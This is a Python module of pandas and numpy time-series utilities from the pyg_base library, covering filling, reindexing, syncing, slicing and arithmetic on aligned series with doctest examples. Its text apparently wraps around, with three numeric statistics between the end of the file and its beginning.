_list(seq) indexes = [ts.index for ts in listed if is_pd(ts)] if len(indexes): return _df_index(indexes, index) arrs = [len(ts) for ts in listed if is_arr(ts)] if len(arrs): return _np_index(arrs, index) else: return None def df_columns(seq, index = 'inner'): """ returns the columns of the joint object :Example: --------- >>> a = pd.DataFrame(np.random.normal(0,1,(100,5)), drange(-99), list('abcde')) >>> b = pd.DataFrame(np.random.normal(0,1,(100,5)), drange(-99), list('bcdef')) >>> assert list(df_columns([a,b])) == list('bcde') >>> assert list(df_columns([a,b], 'oj')) == list('abcdef') >>> assert list(df_columns([a,b], 'lj')) == list('abcde') >>> assert list(df_columns([a,b], 'rj')) == list('bcdef') :Parameters: ---------- seq : sequence of dataframes DESCRIPTION. index : str, optional how to inner-join. The default is 'inner'. :Returns: ------- pd.Index list of columns. """ listed = _list(seq) indexes= [ts.columns for ts in listed if is_df(ts) and ts.shape[1]>1 and len(set(ts.columns)) == ts.shape[1]] #dataframe with non-unique columns are treated like arrays if len(indexes): return _df_index(indexes, index) arrs = [ts.shape[1] for ts in listed if (is_arr(ts) or is_df(ts)) and len(ts.shape)>1 and ts.shape[1]>1] if len(arrs): return _np_index(arrs, index) return None @loop(list, tuple, dict) def _df_fillna(df, method = None, axis = 0, limit = None): methods = as_list(method) if len(methods) == 0: return df if is_arr(df): return df_fillna(pd.DataFrame(df) if len(df.shape)==2 else pd.Series(df), method, axis, limit).values res = df for m in methods: if is_num(m): res = res.fillna(value = m, axis = axis, limit = limit) elif m in ['backfill', 'bfill', 'pad', 'ffill']: res = res.fillna(method = m, axis = axis, limit = limit) elif m in ('fnna', 'nona'): nonan = ~np.isnan(res) if len(res.shape)==2: nonan = nonan.max(axis=1) if m == 'fnna': nonan = nonan[nonan.values] if len(nonan): res = res[nonan.index[0]:] else: res = res.iloc[:0] elif m == 'nona': res = res[nonan.values] else: if is_num(limit) and limit<0: res = res.interpolate(method = m, axis = axis, limit = abs(limit), limit_direction = 'backward') else: res = res.interpolate(method = m, axis = axis, limit = limit) return res def df_fillna(df, method = None, axis = 0, limit = None): """ Equivelent to df.fillna() except: - support np.ndarray as well as dataframes - support multiple methods of filling/interpolation - supports removal of nan from the start/all of the timeseries - supports action on multiple timeseries :Parameters: ---------------- df : dataframe/numpy array method : string, list of strings or None, optional Either a fill method (bfill, ffill, pad) Or an interplation method: 'linear', 'time', 'index', 'values', 'nearest', 'zero', 'slinear', 'quadratic', 'cubic', 'barycentric', 'krogh', 'spline', 'polynomial', 'from_derivatives', 'piecewise_polynomial', 'pchip', 'akima', 'cubicspline' Or 'fnna': removes all to the first non nan Or 'nona': removes all nans axis : int, optional axis. The default is 0. limit : TYPE, optional when filling, how many nan get filled. The default is None (indefinite) :Example: method ffill or bfill ----------------------------------------------- >>> from pyg import *; import numpy as np >>> df = np.array([np.nan, 1., np.nan, 9, np.nan, 25]) >>> assert eq(df_fillna(df, 'ffill'), np.array([ np.nan, 1., 1., 9., 9., 25.])) >>> assert eq(df_fillna(df, ['ffill','bfill']), np.array([ 1., 1., 1., 9., 9., 25.])) >>> assert eq(df_fillna(df, ['ffill','bfill']), np.array([ 1., 1., 1., 9., 9., 25.])) >>> df = np.array([np.nan, 1., np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, 9, np.nan, 25]) >>> assert eq(df_fillna(df, 'ffill', limit = 2), np.array([np.nan, 1., 1., 1., np.nan, np.nan, np.nan, np.nan, 9., 9., 25.])) df_fillna does not maintain state of latest 'prev' value: use ffill_ for that. :Example: interpolation methods ----------------------------------------------- >>> from pyg import *; import numpy as np >>> df = np.array([np.nan, 1., np.nan, 9, np.nan, 25]) >>> assert eq(df_fillna(df, 'linear'), np.array([ np.nan, 1., 5., 9., 17., 25.])) >>> assert eq(df_fillna(df, 'quadratic'), np.array([ np.nan, 1., 4., 9., 16., 25.])) :Example: method = fnna and nona --------------------------------------------- >>> from pyg import *; import numpy as np >>> ts = np.array([np.nan] * 10 + [1.] * 10 + [np.nan]) >>> assert eq(df_fillna(ts, 'fnna'), np.array([1.]*10 + [np.nan])) >>> assert eq(df_fillna(ts, 'nona'), np.array([1.]*10)) >>> assert len(df_fillna(np.array([np.nan]), 'nona')) == 0 >>> assert len(df_fillna(np.array([np.nan]), 'fnna')) == 0 :Returns: ------- array/dataframe with nans removed/filled """ return _df_fillna(df, method = method, axis = axis, limit = limit) @loop(dict, list, tuple) def _nona(df, value = np.nan): if np.isnan(value): mask = np.isnan(df) elif np.isinf(value): mask = np.isinf(df) else: mask = df == value if len(mask.shape) == 2: mask = mask.min(axis=1) == 1 return df[~mask] def nona(a, value = np.nan): """ removes rows that are entirely nan (or a specific other value) :Parameters: ---------------- a : dataframe/ndarray value : float, optional value to be removed. The default is np.nan. :Example: ---------- >>> from pyg import * >>> a = np.array([1,np.nan,2,3]) >>> assert eq(nona(a), np.array([1,2,3])) :Example: multiple columns --------------------------- >>> a = np.array([[1,np.nan,2,np.nan], [np.nan, np.nan, np.nan, 3]]).T >>> b = np.array([[1,2,np.nan], [np.nan, np.nan, 3]]).T ## 2nd row has nans across >>> assert eq(nona(a), b) """ return _nona(a) @loop(list, tuple, dict) def _df_reindex(ts, index, method = None, limit = None): methods = as_list(method) if is_pd(ts): if is_int(index): raise ValueError('trying to reindex dataframe %s using numpy interval length %i'%(ts, index)) if len(methods) and methods[0] in ['backfill', 'bfill', 'pad', 'ffill']: res = _nona(ts).reindex(index, method = methods[0], limit = limit) res = _df_fillna(res, method = methods[1:], limit = limit) else: res = ts.reindex(index) res = _df_fillna(res, method = method, limit = limit) return res elif is_arr(ts): if isinstance(index, pd.Index): if len(index) == len(ts): return ts else: raise ValueError('trying to reindex numpy array %s using pandas index %s'%(ts, index)) elif is_int(index): if index<len(ts): res = ts[-index:] elif index>len(ts): shape = (index - len(ts),) + ts.shape[1:] res = np.concatenate([np.full(shape, np.nan),ts]) else: res = ts return df_fillna(res, method = methods, limit = limit) else: return ts else: return ts @loop(list, tuple, dict) def _df_recolumn(ts, columns): if columns is not None and is_df(ts) and ts.shape[1] > 1 and len(set(ts.columns)) == ts.shape[1]: return pd.DataFrame({col: ts[col].values if col in ts.columns else np.nan for col in columns}, index = ts.index) else: return ts def df_recolumn(ts, columns = None): return _df_recolumn(ts, columns) def np_reindex(ts, index, columns = None): """ pyg assumes that when working with numpy arrays representing timeseries, you: - determine a global timestamp - resample all timeseries to that one, and then covert to numpy.array, possibly truncating leading nan's. - do the maths you need to do - having worked with numpy arrays, if we want to reindex them back into dataframe, use np_reindex :Example: ------- >>> from pyg import * >>> ts = np.array(np.random.normal(0,1,1000)) >>> index = pd.Index(drange(-1999)) >>> np_reindex(ts, index) :Parameters: ---------------- ts : numpy array index : pandas.Index columns: list/array of columns names :Returns: ---------- pd.DataFrame/pd.Series """ if is_pd(index): index = index.index if len(index)>len(ts): index = index[-len(ts):] elif len(index)<len(ts): ts = ts[-len(index):] res = pd.Series(ts, index) if len(ts.shape)<2 else pd.DataFrame(ts, index) if columns is not None: if is_df(columns): columns = columns.columns res.columns = columns return res def df_reindex(ts, index = None, method = None, limit = None): """ A slightly more general version of df.reindex(index) :Parameters: ---------------- ts : dataframe or numpy array (or list/dict of theses) timeseries to be reindexed index : str, timeseries, pd.Index. The new index method : str, list of str, float, optional various methods of handling nans are available. The default is None. See df_fillna for a full list. :Returns: ------- timeseries/np.ndarray (or list/dict of theses) timeseries reindex. :Example: index = inner/outer ----------------------------- >>> tss = [pd.Series(np.random.normal(0,1,10), drange(-i, 9-i)) for i in range(5)] >>> res = df_reindex(tss, 'inner') >>> assert len(res[0]) == 6 >>> res = df_reindex(tss, 'outer') >>> assert len(res[0]) == 14 :Example: index provided ----------------------------- >>> tss = [pd.Series(np.random.normal(0,1,10), drange(-i, 9-i)) for i in range(5)] >>> res = df_reindex(tss, tss[0]) >>> assert eq(res[0], tss[0]) >>> res = df_reindex(tss, tss[0].index) >>> assert eq(res[0], tss[0]) """ if index is None: return ts elif is_str(index): index = df_index(ts, index) elif is_ts(index): index = index.index elif is_arr(index): index = pd.Index(index) return _df_reindex(ts, index = index, method = method, limit = limit) def df_concat(objs, columns = None, axis=1, join = 'outer'): """ simple concatenator, - defaults to to concatenating by date (for timeseries) - supports columns renaming :Parameters: ---------- objs : list/dict collection of timeseries columns : str/list Names of new columns. The default is None. axis : int, optional axis to merge. The default is 1. join : str, optional join method inner/outer, see pd.concat. The default is 'outer'. :Returns: ------- res : pd.DataFrame joined dataframe :Example: --------- >>> objs = [pd.Series([1,2,3], [4,5,6]), pd.Series([3,4,5], [1,2,4])] >>> columns = ['a', 'b']; >>> axis = 1; join = 'outer' >>> res = df_concat(objs, columns) >>> res >>> a b >>> 1 NaN 3.0 >>> 2 NaN 4.0 >>> 4 1.0 5.0 >>> 5 2.0 NaN >>> 6 3.0 NaN >>> df_concat(res, dict(a = 'x', b = 'y')) >>> res >>> x y >>> 1 NaN 3.0 >>> 2 NaN 4.0 >>> 4 1.0 5.0 >>> 5 2.0 NaN >>> 6 3.0 NaN """ if isinstance(objs, dict): columns = list(objs.keys()) objs = list(objs.values()) if isinstance(objs, list): df_objs = [o for o in objs if is_pd(o)] res = pd.concat(df_objs, axis = axis, join = join) if len(df_objs) < len(objs): df_objs = [o if is_pd(o) else pd.Series(o, res.index) for o in objs] res = pd.concat(df_objs, axis = axis, join = join) elif isinstance(objs, pd.DataFrame): res = objs.copy() if columns is not None else objs if columns is not None: if isinstance(columns, list): res.columns = columns else: res = res.rename(columns = columns) return res @loop(list, dict, tuple) def _df_column(ts, column, i = None, n = None): """ This is mostly a helper function to help us loop through multiple columns. Function grabs a column from a dataframe/2d array :Parameters: ---------- ts : datafrane the original dataframe or 2-d numpy array column : str name of the column to grab. i : int, optional Can grab the column using its index. The default is None. n : int, optional asserting the number of columns, ts.shape[1]. The default is None. :Returns: ------- a series or a 1-d numpy array """ if is_df(ts): if ts.shape[1] == 1: return ts[ts.columns[0]] elif column in ts.columns: return ts[column] elif column is None and i is not None: if len(set(ts.columns)) == ts.shape[1]: #unique columns, don't call me using i raise ValueError('trying to grab %ith column from a dataframe with proper columns: %s'%(i, ts.columns)) elif n is not None and ts.shape[1]!=n: raise ValueError('trying to grab %ith column and asserting must have %i columns but have %i'%(i, n, ts.shape[1])) else: if i<ts.shape[1]: return ts.iloc[:,i] else: return np.nan else: return np.nan elif is_arr(ts) and len(ts.shape) == 2: if ts.shape[1] == 1: return ts.T[0] elif i is not None: if n is not None and ts.shape[1]!=n: raise ValueError('trying to grab %ith column and asserting must have %i columns but have %i'%(i, n, ts.shape[1])) elif i<ts.shape[1]: return ts.T[i] else: return np.nan else: return ts else: return ts def df_column(ts, column, i = None, n = None): """ This is mostly a helper function to help us loop through multiple columns. Function grabs a column from a dataframe/2d array :Parameters: ---------- ts : datafrane the original dataframe or 2-d numpy array column : str name of the column to grab. i : int, optional Can grab the column using its index. The default is None. n : int, optional asserting the number of columns, ts.shape[1]. The default is None. :Returns: ------- a series or a 1-d numpy array """ return _df_column(ts = ts, column = column, i = i, n = n) def _convert(res, columns): """ We run a result per each column, now we want to convert it back to objects ---------- res : dict results run per each column. """ values = list(res.values()) if is_tss(values): return pd.DataFrame(res) elif is_arrs(values) and is_int(columns): return np.array(values).T elif is_tuples(values): return tuple([_convert(dict(zip(res.keys(), row)), columns) for row in zipper(*values)]) else: return np.array(values) if is_int(columns) else pd.Series(res) def df_sync(dfs, join = 'ij', method = None, columns = 'ij'): """ df_sync performs a sync of multiple dataframes :Parameters: ---------- dfs : list or dict of timeseries dataframes to be synched join : str, optional index join method. The default is 'ij'. method : str/float, optional how the nan's are to be filled once reindexing occurs. The default is None. columns : str, optional how to sync multi-column timeseries. The default is 'ij'. :Example: ------- >>> a = pd.DataFrame(np.random.normal(0,1,(100,5)), drange(-100,-1), list('abcde')) >>> b = pd.DataFrame(np.random.normal(0,1,(100,5)), drange(-99), list('bcdef')) >>> c = 'not a timeseries' >>> d = pd.DataFrame(np.random.normal(0,1,(100,1)), drange(-98,1), ['single_column_df']) >>> s = pd.Series(np.random.normal(0,1,105), drange(-104)) :Example: inner join on index and columns -------------------------------- >>> dfs = [a,b,c,d,s] >>> join = 'ij'; method = None; columns = 'ij' >>> res = df_sync(dfs, 'ij') >>> assert len(res[0]) == len(res[1]) == len(res[-1]) == 98 >>> assert res[2] == 'not a timeseries' >>> assert list(res[0].columns) == list('bcde') :Example: outer join on index and inner join on columns -------------------------------- >>> res = df_sync(dfs, join = 'oj') >>> assert len(res[0]) == len(res[1]) == len(res[-1]) == 106; assert res[2] == 'not a timeseries' >>> assert list(res[0].columns) == list('bcde') >>> res = df_sync(dfs, join = 'oj', method = 1) >>> assert res[0].iloc[0].sum() == 4 :Example: outer join on index and columns ------------------------------------------- >>> res = df_sync(dfs, join = 'oj', method = 1, columns = 'oj') >>> assert res[0].iloc[0].sum() == 5 >>> assert list(res[0].columns) == list('abcdef') >>> assert list(res[-2].columns) == ['single_column_df'] # single column unaffected :Example: synching of dict rather than a list ------------------------------------------- >>> dfs = Dict(a = a, b = b, c = c, d = d, s = s) >>> res = df_sync(dfs, join = 'oj', method = 1, columns = 'oj') >>> assert res.c == 'not a timeseries' >>> assert res.a.shape == (106,6) """ if isinstance(dfs, dict): values = list(dfs.values()) elif isinstance(dfs, (list, tuple)): values = list(dfs) else: return dfs listed = _list(values) tss = [ts for ts in listed if is_ts(ts)] index = df_index(listed, join) dfs = df_reindex(dfs, index, method = method) ### now we do the columns if columns is False or columns is None: return dfs else: cols = df_columns(tss, columns) dfs = df_recolumn(dfs, cols) return dfs class presync(wrapper): """ Much of timeseries analysis in Pandas is spent aligning multiple timeseries before feeding them into a function. presync allows easy presynching of all paramters of a function. :Parameters: ---------- function : callable, optional function to be presynched. The default is None. index : str, optional index join policy. The default is 'inner'. method : str/int/list of these, optional method of nan handling. The default is None. columns : str, optional columns join policy. The default is 'inner'. default : float, optional value when no data is available. The default is np.nan. :Returns: ------- presynch-decorated function :Example: ------- >>> from pyg import * >>> x = pd.Series([1,2,3,4], drange(-3)) >>> y = pd.Series([1,2,3,4], drange(-4,-1)) >>> z = pd.DataFrame([[1,2],[3,4]], drange(-3,-2), ['a','b']) >>> addition = lambda a, b: a+b #We get some nonsensical results: >>> assert list(addition(x,z).columns) == list(x.index) + ['a', 'b'] #But: >>> assert list(presync(addition)(x,z).columns) == ['a', 'b'] >>> res = presync(addition, index='outer', method = 'ffill')(x,z) >>> assert eq(res.a.values, np.array([2,5,6,7])) :Example 2: alignment works for parameters 'buried' within... ------------------------------------------------------- >>> function = lambda a, b: a['x'] + a['y'] + b >>> f = presync(function, 'outer', method = 'ffill') >>> res = f(dict(x = x, y = y), b = z) >>> assert eq(res, pd.DataFrame(dict(a = [np.nan, 4, 8, 10, 11], b = [np.nan, 5, 9, 11, 12]), index = drange(-4))) :Example 3: alignment of numpy arrays ------------------------------------- >>> addition = lambda a, b: a+b >>> a = presync(addition) >>> assert eq(a(pd.Series([1,2,3,4], drange(-3)), np.array([[1,2,3,4]]).T), pd.Series([2,4,6,8], drange(-3))) >>> assert eq(a(pd.Series([1,2,3,4], drange(-3)), np.array([1,2,3,4])), pd.Series([2,4,6,8], drange(-3))) >>> assert eq(a(pd.Series([1,2,3,4], drange(-3)), np.array([[1,2,3,4],[5,6,7,8]]).T), pd.DataFrame({0:[2,4,6,8], 1:[6,8,10,12]}, drange(-3))) >>> assert eq(a(np.array([1,2,3,4]), np.array([[1,2,3,4]]).T), np.array([2,4,6,8])) :Example 4: inner join alignment of columns in dataframes by default --------------------------------------------------------------------- >>> x = pd.DataFrame({'a':[2,4,6,8], 'b':[6,8,10,12.]}, drange(-3)) >>> y = pd.DataFrame({'wrong':[2,4,6,8], 'columns':[6,8,10,12]}, drange(-3)) >>> assert len(a(x,y)) == 0 >>> y = pd.DataFrame({'a':[2,4,6,8], 'other':[6,8,10,12.]}, drange(-3)) >>> assert eq(a(x,y),x[['a']]*2) >>> y = pd.DataFrame({'a':[2,4,6,8], 'b':[6,8,10,12.]}, drange(-3)) >>> assert eq(a(x,y),x*2) >>> y = pd.DataFrame({'column name for a single column dataframe is ignored':[1,1,1,1]}, drange(-3)) >>> assert eq(a(x,y),x+1) >>> a = presync(addition, columns = 'outer') >>> y = pd.DataFrame({'other':[2,4,6,8], 'a':[6,8,10,12]}, drange(-3)) >>> assert sorted(a(x,y).columns) == ['a','b','other'] :Example 4: ffilling, bfilling ------------------------------ >>> x = pd.Series([1.,np.nan,3.,4.], drange(-3)) >>> y = pd.Series([1.,np.nan,3.,4.], drange(-4,-1)) >>> assert eq(a(x,y), pd.Series([np.nan, np.nan,7], drange(-3,-1))) but, we provide easy conversion of internal parameters of presync: >>> assert eq(a.ffill(x,y), pd.Series([2,4,7], drange(-3,-1))) >>> assert eq(a.bfill(x,y), pd.Series([4,6,7], drange(-3,-1))) >>> assert eq(a.oj(x,y), pd.Series([np.nan, np.nan, np.nan, 7, np.nan], drange(-4))) >>> assert eq(a.oj.ffill(x,y), pd.Series([np.nan, 2, 4, 7, 8], drange(-4))) :Example 5: indexing to a specific index ---------------------------------------- >>> index = pd.Index([dt(-3), dt(-1)]) >>> a = presync(addition, index = index) >>> x = pd.Series([1.,np.nan,3.,4.], drange(-3)) >>> y = pd.Series([1.,np.nan,3.,4.], drange(-4,-1)) >>> assert eq(a(x,y), pd.Series([np.nan, 7], index)) :Example 6: returning complicated stuff ---------------------------------------- >>> from pyg import * >>> a = pd.DataFrame(np.random.normal(0,1,(100,10)), drange(-99)) >>> b = pd.DataFrame(np.random.normal(0,1,(100,10)), drange(-99)) >>> def f(a, b): >>> return (a*b, ts_sum(a), ts_sum(b)) >>> old = f(a,b) >>> self = presync(f) >>> args = (); kwargs = dict(a = a, b = b) >>> new = self(*args, **kwargs) >>> assert eq(new, old) """ def __init__(self, function = None, index = 'inner', method = None, columns = 'inner', default = np.nan): super(presync, self).__init__(function = function, index = index, method = method, columns = columns , default = default) @property def ij(self): return copy(self) + dict(index = 'inner') @property def oj(self): return self + dict(index = 'outer') @property def lj(self): return self + dict(index = 'left') @property def rj(self): return self + dict(index = 'right') @property def ffill(self): return copy(self) + dict(method = 'ffill') @property def bfill(self): return self + dict(method = 'bfill') def wrapped(self, *args, **kwargs): _idx = kwargs.pop('join', self.index) _method = kwargs.pop('method', self.method) _columns = kwargs.pop('columns', self.columns) values = list(args) + list(kwargs.values()) listed = _list(values) tss = [ts for ts in listed if is_ts(ts)] callargs = inspect.getcallargs(self.function, *args, **kwargs) if is_str(_idx) and _idx in callargs: index = _index(callargs[_idx]) else: index = df_index(listed, _idx) args_= df_reindex(args, index, method = _method) kwargs_= df_reindex(kwargs, index, method = _method) ### now we do the columns if _columns is False: return self.function(*args_, **kwargs_) else: cols = [tuple(ts.columns) for ts in tss if is_df(ts) and ts.shape[1]>1] if len(set(cols))==1: # special case where all 2-d dataframes have same column headers columns = cols[0] n = len(columns) res = {column: self.function(*df_column(args_,column = column, i = i, n = n), **df_column(kwargs_, column=column, i = i, n = n)) for i, column in enumerate(columns)} else: columns = df_columns(listed, _columns) if is_int(columns): res = {i: self.function(*df_column(args_, column = None, i = i), **df_column(kwargs_, column=None, i = i)) for i in range(columns)} elif columns is None: return self.function(*df_column(args_, column = None), **df_column(kwargs_, column = None)) else: columns = list(columns) if isinstance(columns, pd.Index) else as_list(columns) columns = sorted(columns) res = {column: self.function(*df_column(args_,column = column), **df_column(kwargs_, column=column)) for column in columns} converted = _convert(res, columns) return converted @presync def _div_(a, b): """ division of a by b supporting presynching (inner join) of timeseries """ return a/b @presync def _sub_(a, b): """ subtraction of b from a supporting presynching (inner join) of timeseries """ return a-b @presync def _add_(a, b): """ addition of a and b supporting presynching (inner join) of timeseries """ return a + b @presync def _mul_(a, b): """ multiplication of b and a supporting presynching (inner join) of timeseries """ return a * b @presync def _pow_(a, b): """ equivalent to a**b supporting presynching (inner join) of timeseries """ return a**b def add_(a, b = None, join = 'ij', method = None, columns = 'ij'): """ a = pd.Series([1,2,3], drange(-2)) b = pd.Series([1,2,3], drange(-3,-1)) add_(a,b, 'oj', method = 0) addition of a and b supporting presynching (inner join) of timeseries """ dfs = as_list(a) + as_list(b) f = lambda a, b: _add_(a, b, join = join, method = method, columns = columns) return reducer(f, dfs) def mul_(a, b = None, join = 'ij', method = None, columns = 'ij'): """ multiplication of a and b supporting presynching (inner join) of timeseries mul_(a,b,join = 'oj', method = 'ffill') cell(mul_, a = a, b = b, join = 'oj')() """ dfs = as_list(a) + as_list(b) f = lambda a, b: _mul_(a, b, join = join, method = method, columns = columns) return reducer(f, dfs) def div_(a, b, join = 'ij', method = None, columns = 'ij'): """ division of a by b supporting presynching (inner join) of timeseries """ if isinstance(a, list): a = mul_(a, join = join, method = method, columns = columns) if isinstance(b, list): b = mul_(b, join = join, method = method, columns = columns) return _div_(a, b, join = join, method = method, columns = columns) def sub_(a, b, join = 'ij', method = None, columns = 'ij'): """ subtraction of b from a supporting presynching (inner join) of timeseries """ if isinstance(a, list): a = add_(a, join = join, method = method, columns = columns) if isinstance(b, list): b = add_(b, join = join, method = method, columns = columns) return _sub_(a, b, join = join, method = method, columns = columns) def pow_(a, b, join = 'ij', method = None, columns = 'ij'): """ equivalent to a**b supporting presynching (inner join) of timeseries """ return _pow_(a,b, join = join, method = method, columns = columns) def min_(a, b = None, join = 'ij', method = None, columns = 'ij'): """ equivalent to redced np.minimum operation supporting presynching of timeseries """ dfs = as_list(a) + as_list(b) dfs = df_sync(dfs, join = join, method = method, columns = columns) return reducer(np.minimum, dfs) def max_(a, b = None, join = 'ij', method = None, columns = 'ij'): """ equivalent to redced np.minimum operation supporting presynching of timeseries """ dfs = as_list(a) + as_list(b) dfs = df_sync(dfs, join = join, method = method, columns = columns) return reducer(np.maximum, dfs) def _closed(oc): if oc in '()oO': return False elif oc in '[]cC': return True else: raise ValueError('not sure how to parse boundary %s'%oc) def _df_slice(df, lb = None, ub = None, openclose = '[)'): """ Performs a one-time slice of the dataframe. Does not stich slices together pandas slices has two issues: 1) it fails for timeseries quite a but 2) for timeseries df[dt1:dt2] is close-close while for normal dataframe df[lb,ub] is close-open """ if isinstance(df, (pd.Index, pd.Series, pd.DataFrame)) and len(df)>0 and (ub is not None or lb is not None): l,u = openclose if openclose else '[)' l = _closed(l); u = _closed(u) if is_ts(df): lb = lb if lb is None or isinstance(lb, datetime.time) else dt(lb) ub = ub if ub is None or isinstance(ub, datetime.time) else dt(ub) if (l or lb is None) and (u or ub is None): try: return df[lb:ub] except Exception: pass elif (l or lb is None) and (ub is None or not u): try: return df[lb:ub] except Exception: pass if lb is not None: index = df if isinstance(df, pd.Index) else df.index if isinstance(lb, datetime.time): index = index.time df = df[index>=lb] if l else df[index>lb] if ub is not None: index = df if isinstance(df, pd.Index) else df.index if isinstance(ub, datetime.time): index = index.time df = df[index<=ub] if u else df[index<ub] return df def df_slice(df, lb = None, ub = None, openclose = '(]', n = 1): """ slices a dataframe/series/index based on lower/upper bounds. If multiple timeseries are sliced at different times, will then stitch them together. :Parameters: ---------- df : dataframe Either a single dataframe or a list of dataframes. lb : single or multiple lower bounds lower bounds to cut the data. ub : single or multiple upper bounds upper bounds to cut the data openclose : 2-character string defines how left/right boundary behave. [,] or c : close (,) or o : open ' ' : do not cut :Returns: ------- filtered (and possibly stictched) timeseries :Example: single timeseries filtering --------- >>> df = pd.Series(np.random.normal(0,1,1000), drange(-999)) >>> df_slice(df, None, '-1m') >>> df_slice(df, '-1m', None) :Example: single timeseries, multiple filtering --------- >>> df = pd.Series(np.random.normal(0,1,1000), drange(-999)) >>> lb = jan1 = drange(2018, None, '1y') >>> ub = feb1 = drange(dt(2018,2,1), None, '1y') >>> assert set(df_slice(df, jan1, feb1).index.month) == {1} :Example: single timeseries time of day filtering --------- >>> dates = drange(-5, 0, '5n') >>> df = pd.Series(np.random.normal(0,1,12*24*5+1), dates) >>> assert len(df_slice(df, None, datetime.time(hour = 10))) == 606 >>> assert len(df_slice(df, datetime.time(hour = 5), datetime.time(hour = 10))) == 300 >>> assert len(df_slice(df, lb = datetime.time(hour = 10), ub = datetime.time(hour = 5))) == len(dates) - 300 :Example: stitching together multiple future contracts for a continuous price --------- >>> ub = drange(1980, 2000, '3m') >>> df = [pd.Series(np.random.normal(0,1,1000), drange(-999, date)) for date in ub] >>> df_slice(df, ub = ub) :Example: stitching together multiple future contracts for a continuous price in front 5 contracts --------- >>> ub = drange(1980, 2000, '3m') >>> df = [pd.Series(np.random.normal(0,1,1000), drange(-999, date)) for date in ub] >>> df_slice(df, ub = ub, n = 5).iloc[500:] :Example: stitching together symbols --------- >>> from pyg import * >>> ub = drange(1980, 2000, '3m') >>> df = loop(list)(dt2str)(ub) >>> df_slice(df, ub = ub, n = 3) """ if isinstance(lb, tuple) and len(lb) == 2 and ub is None: lb, ub = lb if isinstance(ub, datetime.time) and isinstance(lb, datetime.time) and lb>ub: pre = df_slice(df, None, ub) post = df_slice(df, lb, None) return pd.concat([pre, post]).sort_index() if isinstance(df, list): if isinstance(lb, list) and ub is None: ub = lb[1:] + [None] elif isinstance(ub, list) and lb is None: lb = [None] + ub[:-1] boundaries = sorted(set([date for date in lb + ub if date is not None])) df = [d if is_pd(d) else pd.Series(d, boundaries) for d in df] if n > 1: df = [pd.concat(df[i: i+n], axis = 1) for i in range(len(df))] for d in df: d.columns = range(d.shape[1]) dfs = as_list(df) dlu = zipper(dfs, lb, ub) res = [_df_slice(d, lb = l, ub = u, openclose = openclose) for d, l, u in dlu] if len(res) == 0: return None elif len(res) == 1: return res[0] elif isinstance(lb, list) and isinstance(ub, list): res = pd.concat(res) return res def df_unslice(df, ub): """ If we have a rolled multi-column timeseries, and we want to know where each timeseries is originally associated with. As long as you provide the stiching points, forming the upper bound of each original timeseries, df_unslice will return a dict from each upper bound to a single-column timeseries :Example: --------- >>> ub = drange(1980, 2000, '3m') >>> dfs = [pd.Series(date.year * 100 + date.month, drange(-999, date)) for date in ub] >>> df = df_slice(dfs, ub = ub, n = 10) >>> df.iloc[700:-700:] >>> 0 1 2 3 4 5 6 7 8 9 >>> 1979-03-08 198001.0 198004.0 198007.0 198010.0 198101.0 198104.0 198107.0 198110.0 NaN NaN >>> 1979-03-09 198001.0 198004.0 198007.0 198010.0 198101.0 198104.0 198107.0 198110.0 NaN NaN >>> 1979-03-10 198001.0 198004.0 198007.0 198010.0 198101.0 198104.0 198107.0 198110.0 NaN NaN >>> 1979-03-11 198001.0 198004.0 198007.0 198010.0 198101.0 198104.0 198107.0 198110.0 NaN NaN >>> 1979-03-12 198001.0 198004.0 198007.0 198010.0 198101.0 198104.0 198107.0 198110.0 NaN NaN >>> ... ... ... ... ... ... ... ... .. .. >>> 1998-01-27 199804.0 199807.0 199810.0 199901.0 199904.0 199907.0 199910.0 200001.0 NaN NaN >>> 1998-01-28 199804.0 199807.0 199810.0 199901.0 199904.0 199907.0 199910.0 200001.0 NaN NaN >>> 1998-01-29 199804.0 199807.0 199810.0 199901.0 199904.0 199907.0 199910.0 200001.0 NaN NaN >>> 1998-01-30 199804.0 199807.0 199810.0 199901.0 199904.0 199907.0 199910.0 200001.0 NaN NaN >>> 1998-01-31 199804.0 199807.0 199810.0 199901.0 199904.0 199907.0 199910.0 200001.0 NaN NaN >>> res = df_unslice(df, ub) >>> res[ub[0]] >>> 1977-04-07 198001.0 >>> 1977-04-08 198001.0 >>> 1977-04-09 198001.0 >>> 1977-04-10 198001.0 >>> 1977-04-11 198001.0 >>> ... >>> 1979-12-28 198001.0 >>> 1979-12-29 198001.0 >>> 1979-12-30 198001.0 >>> 1979-12-31 198001.0 >>> 1980-01-01 198001.0 >>> Name: 0, Length: 1000, dtype: float64 We can then even slice the data again: >>> assert eq(df_slice(list(res.values()), ub = ub, n = 10), df) """ n = df.shape[1] if is_df(df) else 1 res = dictable(ub = ub, lb = [None] + ub[:-1], i = range(len(ub))) res = res(ts = lambda lb, ub: df_slice(df, lb, ub, '(]')) res = res(rs = lambda i, ts: dictable(u = ub[i: i+n], j = range(len(ub[i: i+n])))(ts = lambda j: ts[j])) rs = dictable.concat(res.rs).listby('u').do([pd.concat, nona], 'ts') return dict(rs['u', 'ts'])

36.134328

247

0.551449

from pyg_base._types import is_df, is_str, is_num, is_tss, is_int, is_arr, is_ts, is_arrs, is_tuples, is_pd from pyg_base._dictable import dictable from pyg_base._as_list import as_list from pyg_base._zip import zipper from pyg_base._reducer import reducing, reducer from pyg_base._decorators import wrapper from pyg_base._loop import loop from pyg_base._dates import dt import pandas as pd import numpy as np from copy import copy import inspect import datetime from operator import add, mul __all__ = ['df_fillna', 'df_index', 'df_reindex', 'df_columns', 'presync', 'np_reindex', 'nona', 'df_slice', 'df_unslice', 'min_', 'max_', 'add_', 'mul_', 'sub_', 'div_', 'pow_'] def _list(values): if isinstance(values, list): return sum([_list(df) for df in values], []) elif isinstance(values, dict): return _list(list(values.values())) else: return [values] @loop(list, tuple, dict) def _index(ts): if isinstance(ts, pd.Index): return ts elif is_pd(ts): return ts.index elif is_arr(ts): return len(ts) else: raise ValueError('did not provide an index') def _df_index(indexes, index): if len(indexes) > 0: if is_str(index): if index[0].lower() == 'i': return reducing('intersection')(indexes) elif index[0].lower() == 'o': return reducing('union')(indexes) elif index[0].lower() == 'l': return indexes[0] elif index[0].lower() == 'r': return indexes[-1] else: return _index(index) else: return None def _np_index(indexes, index): if len(indexes) > 0: if index[0].lower() == 'i': return min(indexes) elif index[0].lower() == 'o': return max(indexes) elif index[0].lower() == 'l': return indexes[0] elif index[0].lower() == 'r': return indexes[-1] else: return None def df_index(seq, index = 'inner'): listed = _list(seq) indexes = [ts.index for ts in listed if is_pd(ts)] if len(indexes): return _df_index(indexes, index) arrs = [len(ts) for ts in 